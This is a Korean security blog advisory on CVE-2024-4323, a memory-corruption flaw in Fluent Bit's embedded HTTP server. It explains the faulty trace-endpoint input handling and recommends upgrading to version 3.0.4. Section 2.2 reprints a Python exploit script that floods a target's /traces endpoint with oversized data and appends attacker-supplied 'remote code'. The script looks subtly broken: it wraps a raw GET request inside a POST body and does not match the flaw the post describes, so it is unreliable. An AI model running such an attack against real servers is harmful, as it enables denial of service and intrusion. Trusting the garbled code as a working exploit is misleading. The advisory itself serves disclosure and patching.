1. Fluent Bit [1][2]
- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용
2. 취약점
- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
> 익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능
영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전
2.1 주요 내용
- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생
> /api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생
> 문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발
> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
> 입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨
※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c
※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
- 더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발
2.2 PoC [4]
- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달
import requests
import argparse
def exploit(url, port, remote_code):
target_url = f"http://{url}:{port}"
# Malicious payload to trigger the memory corruption
malicious_payload = (
"GET /traces HTTP/1.1\r\n"
f"Host: {url}\r\n"
"Content-Length: 1000000\r\n" # Large content length to trigger buffer overflow
"Connection: keep-alive\r\n\r\n"
+ "A" * 1000000 # Large amount of data to overflow the buffer
+ remote_code # Inject remote code at the end
)
try:
response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
print(f"Response Code: {response.status_code}")
print(f"Response Body: {response.text}")
except Exception as e:
print(f"Exploit failed: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-p", "--port", required=True, help="Target port number")
parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")
args = parser.parse_args()
exploit(args.url, args.port, args.code)
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
취약점 | 영향 받는 버전 | 해결 버전 |
CVE-2024-4323 | Fluent Bit 2.0.7 ~ 3.0.3 버전 | Fluent Bit 3.0.4 버전 |
4. 참고
[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1
'취약점 > Denial of Service' 카테고리의 다른 글
DNS BIND DDoS 취약점 (0) | 2024.07.31 |
---|---|
NXDomain Flooding (0) | 2024.07.28 |
CONTINUATION Flood (0) | 2024.04.07 |
Loop DoS (CVE-2024-2169) (0) | 2024.03.23 |
KeyTrap 취약점(CVE-2023-50387) (0) | 2024.02.28 |